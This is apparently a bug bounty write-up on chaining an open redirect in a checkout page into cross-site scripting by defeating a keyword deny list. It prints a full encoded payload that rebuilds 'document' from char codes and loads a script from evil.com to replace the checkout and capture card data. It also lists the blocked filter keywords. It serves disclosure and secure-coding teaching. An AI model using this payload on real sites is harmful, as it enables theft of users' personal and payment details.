Recently I was going through a number of Bug Bounty programs looking for one particular weakness. The weakness I was focusing on is called Open Redirect (or Insecure Redirect). The most common form of this is where a user tries to load a page which requires them to be logged in. On many websites this results in the user being redirected to the login page and a query string parameter being added to the Url so that they can be sent back to the page they requested after they log in. The login Url may look like this:
https://mywebsite.com/login?return_to=%2fmy-account
A common tactic in phishing is to abuse this functionality by setting the parameter to be an external website hosted by the attacker which looks like the primary website. A user would load the Url, any initial wariness is alleviated by seeing they are on the valid Url. After logging in they do not see the redirect has taken them to a malicious website and then continue to give away sensitive information.
To neutralise this threat, typically a website will have an allow list which it checks against and only performs the redirect if it is one of those cases. If a website doesn’t do this then it is likely vulnerable to this type of attack.
During my time on bug bounty programs I have realised that Open Redirects in the right context can lead to more severe Cross Site Scripting (XSS) issues. For example, if the redirect occurs client-side by setting window.location and no checks are made on the input from the query string, it is possible to embed JavaScript which is executed when the redirect attempt is made.
https://mywebsite.com/login?return_to=JavaScript:alert()
In one particular bug bounty program, they had put in multiple measures to prevent XSS. I am going to share how through trial and error, I bypassed the filters and demonstrate how careful you need to be when coding to prevent these types of attack.
I am not able to detail the specific website due to strict confidentiality agreements, but will provide information on what I did. The website had a number of shops on different domains which funneled through a single checkout process. When you visited the checkout, your original website address was passed as a query string and that information was used to populate a “back” link within the page.
I identified that the anchor tag of the back link had an onclick event set to:
RedirectBack('https://<inject-QS-value>')
First I discovered that I could use any external web address and it would inject it. Straight away, an easy Open Redirect discovered. But as this was redirecting on the front end I attempted to inject script. First I wanted to see if you could close the string with a single quote. Success, I got a console error with badly formatted JavaScript:
RedirectBack('https://'')
I thought, this is going to be easy and tried to write some JavaScript to do something interesting. I discovered that using brackets resulted in a 403 forbidden response. This is when I realise that they are preventing certain URL strings from hitting the server. Using various XSS cheat sheets and much trial and error I discover more keywords that get blocked:
- document
- //
- innerHTML
- eval
- :
The fact there appeared to be an arbitrary deny list being used gave me hope that there would be a way to bypass it. Two key things that lead me to be able to abuse the open redirect were using char code HTML entities (e.g. () and a workaround for accessing the document.
I will skip ahead and show the final payload which resulted in the checkout process being replaced with my own, then I will break it down.
https://mywebsite.com/login?return_to=%27%26%23041%3B;var%26%23032%3Bf=new%26%23032%3BFunction%26%23040%3B"return%26%23032%3B"%26%23043%3BString.fromCharCode%26%23040%3B100,111,99,117,109,101,110,116%26%23041%3B%26%23041%3B;var%26%23032%3Bs=f%26%23040%3B%26%23041%3B.createElement%26%23040%3B"script"%26%23041%3B;s.type="text%2fjavascript";s.src="https%26%23058%3B"%26%23043%3B"%2f"%26%23043%3B"%2fevil.com%2fjs.js";f%26%23040%3B%26%23041%3B.body.append%26%23040%3Bs%26%23041%3B;return%26%23032%3Bfalse;var%26%23032%3Bg=%26%23040%3B%27
The first thing to note is there is a lot of URL Encoding. Stripping that way you can see a little bit more clearly what is happening.
');var f=new Function("return "+String.fromCharCode(100,111,99,117,109,101,110,116));var s=f().createElement("script");s.type="text/javascript";s.src="https:"+"/"+"/evil.com/js.js";f().body.append(s);return false;var g=('
If we translate the char code HTML entities we get the following
');var f=new Function("return "+String.fromCharCode(100,111,99,117,109,101,110,116));var s=f().createElement("script");s.type="text/javascript";s.src="https:"+"/"+"/evil.com/js.js";f().body.append(s);return false;var g=('
The next thing which was crucial to being able to do anything useful with the vulnerability, was the way I was able to access the document object. My JavaScript knowledge is limited but I had read that you can create a function from a string that would effectively evaluate the string a bit like using eval(). For example, the following creates a function that when called returns the document from the DOM.
var f=new Function("return document")
This would be blocked though because using the word document in the Url results in a 403 response. Using the String.fromChar() function I was able to swap the denied “document” keyword and create it with individual char codes instead:
var f=new Function("return "+String.fromCharCode(100,111,99,117,109,101,110,116))
This effectively meant that instead of calling “document”, I could call “f()” for the same result. I then bypassed the blocking of “//” by simply splitting the string into parts to avoid detection (which with hindsight may have worked for “document” as well). From there I was able to inject a script include and then embed any JavaScript I wanted using an external file.
The attack was complete and I was able to substitute the checkout process with my own, which captured the users personal information and credit card information. The bug was triaged, rated Medium risk and is in the process of being fixed.
Conclusion
The act of abusing an Open Redirect vulnerability in itself isn’t particularly interesting or complicated. But in this instance, I found the journey of tying to get around the restrictions that had been put in place a fun challenge which also reminded me how careful you have to be to prevent unwanted input. It showed that like most things in security, you should only rely on allow lists and not deny lists, as ultimately you cannot be aware of every malicious approach that an attacker can take.